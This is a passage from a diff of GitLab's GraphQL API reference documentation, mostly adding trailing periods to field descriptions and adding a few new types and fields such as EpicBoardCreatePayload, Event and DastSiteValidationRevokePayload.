Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | `showDebugMessages` | Boolean! | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | -| `spiderTimeout` | Int | The maximum number of minutes allowed for the spider to traverse the site | -| `targetTimeout` | Int | The maximum number of seconds allowed for the site under test to respond to a request | +| `spiderTimeout` | Int | The maximum number of minutes allowed for the spider to traverse the site. | +| `targetTimeout` | Int | The maximum number of seconds allowed for the site under test to respond to a request. | | `useAjaxSpider` | Boolean! | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | ### DastScannerProfileCreatePayload @@ -920,13 +1039,13 @@ Represents a DAST Site Profile. | Field | Type | Description | | ----- | ---- | ----------- | -| `editPath` | String | Relative web path to the edit page of a site profile | -| `id` | DastSiteProfileID! | ID of the site profile | -| `normalizedTargetUrl` | String | Normalized URL of the target to be scanned | -| `profileName` | String | The name of the site profile | -| `targetUrl` | String | The URL of the target to be scanned | +| `editPath` | String | Relative web path to the edit page of a site profile. | +| `id` | DastSiteProfileID! | ID of the site profile. | +| `normalizedTargetUrl` | String | Normalized URL of the target to be scanned. | +| `profileName` | String | The name of the site profile. | +| `targetUrl` | String | The URL of the target to be scanned. | | `userPermissions` | DastSiteProfilePermissions! | Permissions for the current user on the resource | -| `validationStatus` | DastSiteProfileValidationStatusEnum | The current validation status of the site profile | +| `validationStatus` | DastSiteProfileValidationStatusEnum | The current validation status of the site profile. | ### DastSiteProfileCreatePayload @@ -983,9 +1102,9 @@ Represents a DAST Site Validation. | Field | Type | Description | | ----- | ---- | ----------- | -| `id` | DastSiteValidationID! | Global ID of the site validation | -| `normalizedTargetUrl` | String | Normalized URL of the target to be validated | -| `status` | DastSiteProfileValidationStatusEnum! | Status of the site validation | +| `id` | DastSiteValidationID! | Global ID of the site validation. | +| `normalizedTargetUrl` | String | Normalized URL of the target to be validated. | +| `status` | DastSiteProfileValidationStatusEnum! | Status of the site validation. | ### DastSiteValidationCreatePayload @@ -998,6 +1117,15 @@ Autogenerated return type of DastSiteValidationCreate. | `id` | DastSiteValidationID | ID of the site validation. | | `status` | DastSiteProfileValidationStatusEnum | The current validation status. | +### DastSiteValidationRevokePayload + +Autogenerated return type of DastSiteValidationRevoke. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### DeleteAnnotationPayload Autogenerated return type of DeleteAnnotation. @@ -1022,9 +1150,9 @@ The response from the AdminSidekiqQueuesDeleteJobs mutation. | Field | Type | Description | | ----- | ---- | ----------- | -| `completed` | Boolean | Whether or not the entire queue was processed in time; if not, retrying the same request is safe | -| `deletedJobs` | Int | The number of matching jobs deleted | -| `queueSize` | Int | The queue size after processing | +| `completed` | Boolean | Whether or not the entire queue was processed in time; if not, retrying the same request is safe. | +| `deletedJobs` | Int | The number of matching jobs deleted. | +| `queueSize` | Int | The queue size after processing. | ### Design @@ -1032,20 +1160,20 @@ A single design. | Field | Type | Description | | ----- | ---- | ----------- | -| `currentUserTodos` | TodoConnection! | Todos for the current user | -| `diffRefs` | DiffRefs! | The diff refs for this design | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `event` | DesignVersionEvent! | How this design was changed in the current version | -| `filename` | String! | The filename of the design | -| `fullPath` | String! | The full path to the design file | -| `id` | ID! | The ID of this design | -| `image` | String! | The URL of the full-sized image | +| `currentUserTodos` | TodoConnection! | To-do items for the current user. | +| `diffRefs` | DiffRefs! | The diff refs for this design. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `event` | DesignVersionEvent! | How this design was changed in the current version. | +| `filename` | String! | The filename of the design. | +| `fullPath` | String! | The full path to the design file. | +| `id` | ID! | The ID of this design. | +| `image` | String! | The URL of the full-sized image. | | `imageV432x230` | String | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated | -| `issue` | Issue! | The issue the design belongs to | -| `notes` | NoteConnection! | All notes on this noteable | -| `notesCount` | Int! | The total count of user-created notes for this design | -| `project` | Project! | The project the design belongs to | -| `versions` | DesignVersionConnection! | All versions related to this design ordered newest first | +| `issue` | Issue! | The issue the design belongs to. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `notesCount` | Int! | The total count of user-created notes for this design. | +| `project` | Project! | The project the design belongs to. | +| `versions` | DesignVersionConnection! | All versions related to this design ordered newest first. | ### DesignAtVersion @@ -1053,18 +1181,18 @@ A design pinned to a specific version. The image field reflects the design as of | Field | Type | Description | | ----- | ---- | ----------- | -| `design` | Design! | The underlying design | -| `diffRefs` | DiffRefs! | The diff refs for this design | -| `event` | DesignVersionEvent! | How this design was changed in the current version | -| `filename` | String! | The filename of the design | -| `fullPath` | String! | The full path to the design file | -| `id` | ID! | The ID of this design | -| `image` | String! | The URL of the full-sized image | +| `design` | Design! | The underlying design. | +| `diffRefs` | DiffRefs! | The diff refs for this design. | +| `event` | DesignVersionEvent! | How this design was changed in the current version. | +| `filename` | String! | The filename of the design. | +| `fullPath` | String! | The full path to the design file. | +| `id` | ID! | The ID of this design. | +| `image` | String! | The URL of the full-sized image. | | `imageV432x230` | String | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated | -| `issue` | Issue! | The issue the design belongs to | -| `notesCount` | Int! | The total count of user-created notes for this design | -| `project` | Project! | The project the design belongs to | -| `version` | DesignVersion! | The version this design-at-versions is pinned to | +| `issue` | Issue! | The issue the design belongs to. | +| `notesCount` | Int! | The total count of user-created notes for this design. | +| `project` | Project! | The project the design belongs to. | +| `version` | DesignVersion! | The version this design-at-versions is pinned to. | ### DesignCollection @@ -1072,21 +1200,21 @@ A collection of designs. | Field | Type | Description | | ----- | ---- | ----------- | -| `copyState` | DesignCollectionCopyState | Copy state of the design collection | -| `design` | Design | Find a specific design | -| `designAtVersion` | DesignAtVersion | Find a design as of a version | -| `designs` | DesignConnection! | All designs for the design collection | -| `issue` | Issue! | Issue associated with the design collection | -| `project` | Project! | Project associated with the design collection | -| `version` | DesignVersion | A specific version | -| `versions` | DesignVersionConnection! | All versions related to all designs, ordered newest first | +| `copyState` | DesignCollectionCopyState | Copy state of the design collection. | +| `design` | Design | Find a specific design. | +| `designAtVersion` | DesignAtVersion | Find a design as of a version. | +| `designs` | DesignConnection! | All designs for the design collection. | +| `issue` | Issue! | Issue associated with the design collection. | +| `project` | Project! | Project associated with the design collection. | +| `version` | DesignVersion | A specific version. | +| `versions` | DesignVersionConnection! | All versions related to all designs, ordered newest first. | ### DesignManagement | Field | Type | Description | | ----- | ---- | ----------- | -| `designAtVersion` | DesignAtVersion | Find a design as of a version | -| `version` | DesignVersion | Find a version | +| `designAtVersion` | DesignAtVersion | Find a design as of a version. | +| `version` | DesignVersion | Find a version. | ### DesignManagementDeletePayload @@ -1125,11 +1253,11 @@ A specific version in which designs were added, modified or deleted. | Field | Type | Description | | ----- | ---- | ----------- | -| `designAtVersion` | DesignAtVersion! | A particular design as of this version, provided it is visible at this version | -| `designs` | DesignConnection! | All designs that were changed in the version | -| `designsAtVersion` | DesignAtVersionConnection! | All designs that are visible at this version, as of this version | -| `id` | ID! | ID of the design version | -| `sha` | ID! | SHA of the design version | +| `designAtVersion` | DesignAtVersion! | A particular design as of this version, provided it is visible at this version. | +| `designs` | DesignConnection! | All designs that were changed in the version. | +| `designsAtVersion` | DesignAtVersionConnection! | All designs that are visible at this version, as of this version. | +| `id` | ID! | ID of the design version. | +| `sha` | ID! | SHA of the design version. | ### DestroyBoardListPayload @@ -1204,15 +1332,15 @@ Autogenerated return type of DestroySnippet. | Field | Type | Description | | ----- | ---- | ----------- | -| `action` | StatusAction | Action information for the status. This includes method, button title, icon, path, and title | -| `detailsPath` | String | Path of the details for the status | -| `favicon` | String | Favicon of the status | -| `group` | String | Group of the status | -| `hasDetails` | Boolean | Indicates if the status has further details | -| `icon` | String | Icon of the status | -| `label` | String | Label of the status | -| `text` | String | Text of the status | -| `tooltip` | String | Tooltip associated with the status | +| `action` | StatusAction | Action information for the status. This includes method, button title, icon, path, and title. | +| `detailsPath` | String | Path of the details for the status. | +| `favicon` | String | Favicon of the status. | +| `group` | String | Group of the status. | +| `hasDetails` | Boolean | Indicates if the status has further details. | +| `icon` | String | Icon of the status. | +| `label` | String | Label of the status. | +| `text` | String | Text of the status. | +| `tooltip` | String | Tooltip associated with the status. | ### DevopsAdoptionSegment @@ -1220,10 +1348,9 @@ Segment. | Field | Type | Description | | ----- | ---- | ----------- | -| `groups` | Group! => Array | Assigned groups | -| `id` | ID! | ID of the segment | -| `latestSnapshot` | DevopsAdoptionSnapshot | The latest adoption metrics for the segment | -| `name` | String! | Name of the segment | +| `id` | ID! | ID of the segment. | +| `latestSnapshot` | DevopsAdoptionSnapshot | The latest adoption metrics for the segment. | +| `namespace` | Namespace | Segment namespace. | ### DevopsAdoptionSnapshot @@ -1231,40 +1358,40 @@ Snapshot. | Field | Type | Description | | ----- | ---- | ----------- | -| `deploySucceeded` | Boolean! | At least one deployment succeeded | -| `endTime` | Time! | The end time for the snapshot where the data points were collected | -| `issueOpened` | Boolean! | At least one issue was opened | -| `mergeRequestApproved` | Boolean! | At least one merge request was approved | -| `mergeRequestOpened` | Boolean! | At least one merge request was opened | -| `pipelineSucceeded` | Boolean! | At least one pipeline succeeded | -| `recordedAt` | Time! | The time the snapshot was recorded | -| `runnerConfigured` | Boolean! | At least one runner was used | -| `securityScanSucceeded` | Boolean! | At least one security scan succeeded | -| `startTime` | Time! | The start time for the snapshot where the data points were collected | +| `deploySucceeded` | Boolean! | At least one deployment succeeded. | +| `endTime` | Time! | The end time for the snapshot where the data points were collected. | +| `issueOpened` | Boolean! | At least one issue was opened. | +| `mergeRequestApproved` | Boolean! | At least one merge request was approved. | +| `mergeRequestOpened` | Boolean! | At least one merge request was opened. | +| `pipelineSucceeded` | Boolean! | At least one pipeline succeeded. | +| `recordedAt` | Time! | The time the snapshot was recorded. | +| `runnerConfigured` | Boolean! | At least one runner was used. | +| `securityScanSucceeded` | Boolean! | At least one security scan succeeded. | +| `startTime` | Time! | The start time for the snapshot where the data points were collected. | ### DiffPosition | Field | Type | Description | | ----- | ---- | ----------- | -| `diffRefs` | DiffRefs! | Information about the branch, HEAD, and base at the time of commenting | -| `filePath` | String! | Path of the file that was changed | -| `height` | Int | Total height of the image | -| `newLine` | Int | Line on HEAD SHA that was changed | -| `newPath` | String | Path of the file on the HEAD SHA | -| `oldLine` | Int | Line on start SHA that was changed | -| `oldPath` | String | Path of the file on the start SHA | -| `positionType` | DiffPositionType! | Type of file the position refers to | -| `width` | Int | Total width of the image | -| `x` | Int | X position of the note | -| `y` | Int | Y position of the note | +| `diffRefs` | DiffRefs! | Information about the branch, HEAD, and base at the time of commenting. | +| `filePath` | String! | Path of the file that was changed. | +| `height` | Int | Total height of the image. | +| `newLine` | Int | Line on HEAD SHA that was changed. | +| `newPath` | String | Path of the file on the HEAD SHA. | +| `oldLine` | Int | Line on start SHA that was changed. | +| `oldPath` | String | Path of the file on the start SHA. | +| `positionType` | DiffPositionType! | Type of file the position refers to. | +| `width` | Int | Total width of the image. | +| `x` | Int | X position of the note. | +| `y` | Int | Y position of the note. | ### DiffRefs | Field | Type | Description | | ----- | ---- | ----------- | -| `baseSha` | String | Merge base of the branch the comment was made on | -| `headSha` | String! | SHA of the HEAD at the time the comment was made | -| `startSha` | String! | SHA of the branch being compared against | +| `baseSha` | String | Merge base of the branch the comment was made on. | +| `headSha` | String! | SHA of the HEAD at the time the comment was made. | +| `startSha` | String! | SHA of the branch being compared against. | ### DiffStats @@ -1272,9 +1399,9 @@ Changes to a single file. | Field | Type | Description | | ----- | ---- | ----------- | -| `additions` | Int! | Number of lines added to this file | -| `deletions` | Int! | Number of lines deleted from this file | -| `path` | String! | File path, relative to repository root | +| `additions` | Int! | Number of lines added to this file. | +| `deletions` | Int! | Number of lines deleted from this file. | +| `path` | String! | File path, relative to repository root. | ### DiffStatsSummary @@ -1282,23 +1409,23 @@ Aggregated summary of changes. | Field | Type | Description | | ----- | ---- | ----------- | -| `additions` | Int! | Number of lines added | -| `changes` | Int! | Number of lines changed | -| `deletions` | Int! | Number of lines deleted | -| `fileCount` | Int! | Number of files changed | +| `additions` | Int! | Number of lines added. | +| `changes` | Int! | Number of lines changed. | +| `deletions` | Int! | Number of lines deleted. | +| `fileCount` | Int! | Number of files changed. | ### Discussion | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | Timestamp of the discussion's creation | -| `id` | ID! | ID of this discussion | -| `notes` | NoteConnection! | All notes in the discussion | -| `replyId` | ID! | ID used to reply to this discussion | -| `resolvable` | Boolean! | Indicates if the object can be resolved | -| `resolved` | Boolean! | Indicates if the object is resolved | -| `resolvedAt` | Time | Timestamp of when the object was resolved | -| `resolvedBy` | User | User who resolved the object | +| `createdAt` | Time! | Timestamp of the discussion's creation. | +| `id` | DiscussionID! | ID of this discussion. | +| `notes` | NoteConnection! | All notes in the discussion. | +| `replyId` | DiscussionID! | ID used to reply to this discussion. | +| `resolvable` | Boolean! | Indicates if the object can be resolved. | +| `resolved` | Boolean! | Indicates if the object is resolved. | +| `resolvedAt` | Time | Timestamp of when the object was resolved. | +| `resolvedBy` | User | User who resolved the object. | ### DiscussionToggleResolvePayload @@ -1326,12 +1453,12 @@ Describes where code is deployed for a project. | Field | Type | Description | | ----- | ---- | ----------- | -| `id` | ID! | ID of the environment | -| `latestOpenedMostSevereAlert` | AlertManagementAlert | The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned | -| `metricsDashboard` | MetricsDashboard | Metrics dashboard schema for the environment | -| `name` | String! | Human-readable name of the environment | +| `id` | ID! | ID of the environment. | +| `latestOpenedMostSevereAlert` | AlertManagementAlert | The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned. | +| `metricsDashboard` | MetricsDashboard | Metrics dashboard schema for the environment. | +| `name` | String! | Human-readable name of the environment. | | `path` | String! | The path to the environment. | -| `state` | String! | State of the environment, for example: available/stopped | +| `state` | String! | State of the environment, for example: available/stopped. | ### EnvironmentsCanaryIngressUpdatePayload @@ -1348,50 +1475,52 @@ Represents an epic. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User! | Author of the epic | -| `children` | EpicConnection | Children (sub-epics) of the epic | -| `closedAt` | Time | Timestamp of when the epic was closed | -| `confidential` | Boolean | Indicates if the epic is confidential | -| `createdAt` | Time | Timestamp of when the epic was created | -| `currentUserTodos` | TodoConnection! | Todos for the current user | -| `descendantCounts` | EpicDescendantCount | Number of open and closed descendant epics and issues | -| `descendantWeightSum` | EpicDescendantWeights | Total weight of open and closed issues in the epic and its descendants | -| `description` | String | Description of the epic | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `downvotes` | Int! | Number of downvotes the epic has received | -| `dueDate` | Time | Due date of the epic | -| `dueDateFixed` | Time | Fixed due date of the epic | -| `dueDateFromMilestones` | Time | Inherited due date of the epic from milestones | -| `dueDateIsFixed` | Boolean | Indicates if the due date has been manually set | -| `group` | Group! | Group to which the epic belongs | -| `hasChildren` | Boolean! | Indicates if the epic has children | -| `hasIssues` | Boolean! | Indicates if the epic has direct issues | -| `hasParent` | Boolean! | Indicates if the epic has a parent epic | -| `healthStatus` | EpicHealthStatus | Current health status of the epic | -| `id` | ID! | ID of the epic | -| `iid` | ID! | Internal ID of the epic | -| `issues` | EpicIssueConnection | A list of issues associated with the epic | -| `labels` | LabelConnection | Labels assigned to the epic | -| `notes` | NoteConnection! | All notes on this noteable | -| `parent` | Epic | Parent epic of the epic | -| `participants` | UserConnection | List of participants for the epic | -| `reference` | String! | Internal reference of the epic. Returned in shortened format by default | -| `relationPath` | String | URI path of the epic-issue relationship | -| `relativePosition` | Int | The relative position of the epic in the epic tree | -| `startDate` | Time | Start date of the epic | -| `startDateFixed` | Time | Fixed start date of the epic | -| `startDateFromMilestones` | Time | Inherited start date of the epic from milestones | -| `startDateIsFixed` | Boolean | Indicates if the start date has been manually set | -| `state` | EpicState! | State of the epic | -| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the epic | -| `title` | String | Title of the epic | -| `updatedAt` | Time | Timestamp of when the epic was updated | -| `upvotes` | Int! | Number of upvotes the epic has received | -| `userDiscussionsCount` | Int! | Number of user discussions in the epic | -| `userNotesCount` | Int! | Number of user notes of the epic | +| `author` | User! | Author of the epic. | +| `awardEmoji` | AwardEmojiConnection | A list of award emojis associated with the epic. | +| `children` | EpicConnection | Children (sub-epics) of the epic. | +| `closedAt` | Time | Timestamp of when the epic was closed. | +| `confidential` | Boolean | Indicates if the epic is confidential. | +| `createdAt` | Time | Timestamp of when the epic was created. | +| `currentUserTodos` | TodoConnection! | To-do items for the current user. | +| `descendantCounts` | EpicDescendantCount | Number of open and closed descendant epics and issues. | +| `descendantWeightSum` | EpicDescendantWeights | Total weight of open and closed issues in the epic and its descendants. | +| `description` | String | Description of the epic. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `downvotes` | Int! | Number of downvotes the epic has received. | +| `dueDate` | Time | Due date of the epic. | +| `dueDateFixed` | Time | Fixed due date of the epic. | +| `dueDateFromMilestones` | Time | Inherited due date of the epic from milestones. | +| `dueDateIsFixed` | Boolean | Indicates if the due date has been manually set. | +| `events` | EventConnection | A list of events associated with the object. | +| `group` | Group! | Group to which the epic belongs. | +| `hasChildren` | Boolean! | Indicates if the epic has children. | +| `hasIssues` | Boolean! | Indicates if the epic has direct issues. | +| `hasParent` | Boolean! | Indicates if the epic has a parent epic. | +| `healthStatus` | EpicHealthStatus | Current health status of the epic. | +| `id` | ID! | ID of the epic. | +| `iid` | ID! | Internal ID of the epic. | +| `issues` | EpicIssueConnection | A list of issues associated with the epic. | +| `labels` | LabelConnection | Labels assigned to the epic. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `parent` | Epic | Parent epic of the epic. | +| `participants` | UserConnection | List of participants for the epic. | +| `reference` | String! | Internal reference of the epic. Returned in shortened format by default. | +| `relationPath` | String | URI path of the epic-issue relationship. | +| `relativePosition` | Int | The relative position of the epic in the epic tree. | +| `startDate` | Time | Start date of the epic. | +| `startDateFixed` | Time | Fixed start date of the epic. | +| `startDateFromMilestones` | Time | Inherited start date of the epic from milestones. | +| `startDateIsFixed` | Boolean | Indicates if the start date has been manually set. | +| `state` | EpicState! | State of the epic. | +| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the epic. | +| `title` | String | Title of the epic. | +| `updatedAt` | Time | Timestamp of when the epic was updated. | +| `upvotes` | Int! | Number of upvotes the epic has received. | +| `userDiscussionsCount` | Int! | Number of user discussions in the epic. | +| `userNotesCount` | Int! | Number of user notes of the epic. | | `userPermissions` | EpicPermissions! | Permissions for the current user on the resource | -| `webPath` | String! | Web path of the epic | -| `webUrl` | String! | Web URL of the epic | +| `webPath` | String! | Web path of the epic. | +| `webUrl` | String! | Web URL of the epic. | ### EpicAddIssuePayload @@ -1414,16 +1543,36 @@ Represents an epic board. | `lists` | EpicListConnection | Epic board lists. | | `name` | String | Name of the board. | +### EpicBoardCreatePayload + +Autogenerated return type of EpicBoardCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `epicBoard` | EpicBoard | The created epic board. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### EpicBoardListCreatePayload + +Autogenerated return type of EpicBoardListCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `list` | EpicList | Epic list in the epic board. | + ### EpicDescendantCount Counts of descendent epics. | Field | Type | Description | | ----- | ---- | ----------- | -| `closedEpics` | Int | Number of closed child epics | -| `closedIssues` | Int | Number of closed epic issues | -| `openedEpics` | Int | Number of opened child epics | -| `openedIssues` | Int | Number of opened epic issues | +| `closedEpics` | Int | Number of closed child epics. | +| `closedIssues` | Int | Number of closed epic issues. | +| `openedEpics` | Int | Number of opened child epics. | +| `openedIssues` | Int | Number of opened epic issues. | ### EpicDescendantWeights @@ -1431,8 +1580,8 @@ Total weight of open and closed descendant issues. | Field | Type | Description | | ----- | ---- | ----------- | -| `closedIssues` | Int | Total weight of completed (closed) issues in this epic, including epic descendants | -| `openedIssues` | Int | Total weight of opened issues in this epic, including epic descendants | +| `closedIssues` | Int | Total weight of completed (closed) issues in this epic, including epic descendants. | +| `openedIssues` | Int | Total weight of opened issues in this epic, including epic descendants. | ### EpicHealthStatus @@ -1440,9 +1589,9 @@ Health status of child issues. | Field | Type | Description | | ----- | ---- | ----------- | -| `issuesAtRisk` | Int | Number of issues at risk | -| `issuesNeedingAttention` | Int | Number of issues that need attention | -| `issuesOnTrack` | Int | Number of issues on track | +| `issuesAtRisk` | Int | Number of issues at risk. | +| `issuesNeedingAttention` | Int | Number of issues that need attention. | +| `issuesOnTrack` | Int | Number of issues on track. | ### EpicIssue @@ -1450,61 +1599,61 @@ Relationship between an epic and an issue. | Field | Type | Description | | ----- | ---- | ----------- | -| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue | -| `assignees` | UserConnection | Assignees of the issue | -| `author` | User! | User that created the issue | +| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue. | +| `assignees` | UserConnection | Assignees of the issue. | +| `author` | User! | User that created the issue. | | `blocked` | Boolean! | Indicates the issue is blocked. | | `blockedByCount` | Int | Count of issues blocking this issue. | -| `closedAt` | Time | Timestamp of when the issue was closed | -| `confidential` | Boolean! | Indicates the issue is confidential | -| `createNoteEmail` | String | User specific email address for the issue | -| `createdAt` | Time! | Timestamp of when the issue was created | -| `currentUserTodos` | TodoConnection! | Todos for the current user | -| `description` | String | Description of the issue | +| `closedAt` | Time | Timestamp of when the issue was closed. | +| `confidential` | Boolean! | Indicates the issue is confidential. | +| `createNoteEmail` | String | User specific email address for the issue. | +| `createdAt` | Time! | Timestamp of when the issue was created. | +| `currentUserTodos` | TodoConnection! | To-do items for the current user. | +| `description` | String | Description of the issue. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `designCollection` | DesignCollection | Collection of design images associated with this issue | -| `discussionLocked` | Boolean! | Indicates discussion is locked on the issue | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `downvotes` | Int! | Number of downvotes the issue has received | -| `dueDate` | Time | Due date of the issue | -| `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled | +| `designCollection` | DesignCollection | Collection of design images associated with this issue. | +| `discussionLocked` | Boolean! | Indicates discussion is locked on the issue. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `downvotes` | Int! | Number of downvotes the issue has received. | +| `dueDate` | Time | Due date of the issue. | +| `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled. | | `epic` | Epic | Epic to which this issue belongs. | -| `epicIssueId` | ID! | ID of the epic-issue relation | +| `epicIssueId` | ID! | ID of the epic-issue relation. | | `healthStatus` | HealthStatus | Current health status. | -| `humanTimeEstimate` | String | Human-readable time estimate of the issue | -| `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue | -| `id` | ID | Global ID of the epic-issue relation | -| `iid` | ID! | Internal ID of the issue | +| `humanTimeEstimate` | String | Human-readable time estimate of the issue. | +| `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue. | +| `id` | ID | Global ID of the epic-issue relation. | +| `iid` | ID! | Internal ID of the issue. | | `iteration` | Iteration | Iteration of the issue. | -| `labels` | LabelConnection | Labels of the issue | +| `labels` | LabelConnection | Labels of the issue. | | `metricImages` | MetricImage! => Array | Metric images associated to the issue. | -| `milestone` | Milestone | Milestone of the issue | -| `moved` | Boolean | Indicates if issue got moved from other project | -| `movedTo` | Issue | Updated Issue after it got moved to another project | -| `notes` | NoteConnection! | All notes on this noteable | -| `participants` | UserConnection | List of participants in the issue | -| `reference` | String! | Internal reference of the issue. Returned in shortened format by default | -| `relationPath` | String | URI path of the epic-issue relation | -| `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards) | -| `severity` | IssuableSeverity | Severity level of the incident | +| `milestone` | Milestone | Milestone of the issue. | +| `moved` | Boolean | Indicates if issue got moved from other project. | +| `movedTo` | Issue | Updated Issue after it got moved to another project. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `participants` | UserConnection | List of participants in the issue. | +| `reference` | String! | Internal reference of the issue. Returned in shortened format by default. | +| `relationPath` | String | URI path of the epic-issue relation. | +| `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards). | +| `severity` | IssuableSeverity | Severity level of the incident. | | `slaDueAt` | Time | Timestamp of when the issue SLA expires. | -| `state` | IssueState! | State of the issue | +| `state` | IssueState! | State of the issue. | | `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page. | -| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue | -| `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue | -| `timeEstimate` | Int! | Time estimate of the issue | -| `title` | String! | Title of the issue | +| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue. | +| `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue. | +| `timeEstimate` | Int! | Time estimate of the issue. | +| `title` | String! | Title of the issue. | | `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` | -| `totalTimeSpent` | Int! | Total time reported as spent on the issue | -| `type` | IssueType | Type of the issue | -| `updatedAt` | Time! | Timestamp of when the issue was last updated | -| `updatedBy` | User | User that last updated the issue | -| `upvotes` | Int! | Number of upvotes the issue has received | -| `userDiscussionsCount` | Int! | Number of user discussions in the issue | -| `userNotesCount` | Int! | Number of user notes of the issue | +| `totalTimeSpent` | Int! | Total time reported as spent on the issue. | +| `type` | IssueType | Type of the issue. | +| `updatedAt` | Time! | Timestamp of when the issue was last updated. | +| `updatedBy` | User | User that last updated the issue. | +| `upvotes` | Int! | Number of upvotes the issue has received. | +| `userDiscussionsCount` | Int! | Number of user discussions in the issue. | +| `userNotesCount` | Int! | Number of user notes of the issue. | | `userPermissions` | IssuePermissions! | Permissions for the current user on the resource | -| `webPath` | String! | Web path of the issue | -| `webUrl` | String! | Web URL of the issue | +| `webPath` | String! | Web path of the issue. | +| `webUrl` | String! | Web URL of the issue. | | `weight` | Int | Weight of the issue. | ### EpicList @@ -1554,6 +1703,18 @@ Autogenerated return type of EpicTreeReorder. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### Event + +Representing an event. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `action` | EventAction! | Action of the event. | +| `author` | User! | Author of this event. | +| `createdAt` | Time! | When this event was created. | +| `id` | ID! | ID of the event. | +| `updatedAt` | Time! | When this event was updated. | + ### ExportRequirementsPayload Autogenerated return type of ExportRequirements. @@ -1569,114 +1730,123 @@ Represents an external issue. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time | Timestamp of when the issue was created | -| `externalTracker` | String | Type of external tracker | -| `relativeReference` | String | Relative reference of the issue in the external tracker | -| `status` | String | Status of the issue in the external tracker | -| `title` | String | Title of the issue in the external tracker | -| `updatedAt` | Time | Timestamp of when the issue was updated | -| `webUrl` | String | URL to the issue in the external tracker | +| `createdAt` | Time | Timestamp of when the issue was created. | +| `externalTracker` | String | Type of external tracker. | +| `relativeReference` | String | Relative reference of the issue in the external tracker. | +| `status` | String | Status of the issue in the external tracker. | +| `title` | String | Title of the issue in the external tracker. | +| `updatedAt` | Time | Timestamp of when the issue was updated. | +| `webUrl` | String | URL to the issue in the external tracker. | ### GeoNode | Field | Type | Description | | ----- | ---- | ----------- | -| `containerRepositoriesMaxCapacity` | Int | The maximum concurrency of container repository sync for this secondary node | -| `enabled` | Boolean | Indicates whether this Geo node is enabled | -| `filesMaxCapacity` | Int | The maximum concurrency of LFS/attachment backfill for this secondary node | -| `id` | ID! | ID of this GeoNode | -| `internalUrl` | String | The URL defined on the primary node that secondary nodes should use to contact it | -| `mergeRequestDiffRegistries` | MergeRequestDiffRegistryConnection | Find merge request diff registries on this Geo node | -| `minimumReverificationInterval` | Int | The interval (in days) in which the repository verification is valid. Once expired, it will be reverified | -| `name` | String | The unique identifier for this Geo node | -| `packageFileRegistries` | PackageFileRegistryConnection | Package file registries of the GeoNode | -| `primary` | Boolean | Indicates whether this Geo node is the primary | -| `reposMaxCapacity` | Int | The maximum concurrency of repository backfill for this secondary node | -| `selectiveSyncNamespaces` | NamespaceConnection | The namespaces that should be synced, if `selective_sync_type` == `namespaces` | -| `selectiveSyncShards` | String! => Array | The repository storages whose projects should be synced, if `selective_sync_type` == `shards` | -| `selectiveSyncType` | String | Indicates if syncing is limited to only specific groups, or shards | -| `snippetRepositoryRegistries` | SnippetRepositoryRegistryConnection | Find snippet repository registries on this Geo node | -| `syncObjectStorage` | Boolean | Indicates if this secondary node will replicate blobs in Object Storage | -| `terraformStateVersionRegistries` | TerraformStateVersionRegistryConnection | Find terraform state version registries on this Geo node | -| `url` | String | The user-facing URL for this Geo node | -| `verificationMaxCapacity` | Int | The maximum concurrency of repository verification for this secondary node | +| `containerRepositoriesMaxCapacity` | Int | The maximum concurrency of container repository sync for this secondary node. | +| `enabled` | Boolean | Indicates whether this Geo node is enabled. | +| `filesMaxCapacity` | Int | The maximum concurrency of LFS/attachment backfill for this secondary node. | +| `id` | ID! | ID of this GeoNode. | +| `internalUrl` | String | The URL defined on the primary node that secondary nodes should use to contact it. | +| `mergeRequestDiffRegistries` | MergeRequestDiffRegistryConnection | Find merge request diff registries on this Geo node. | +| `minimumReverificationInterval` 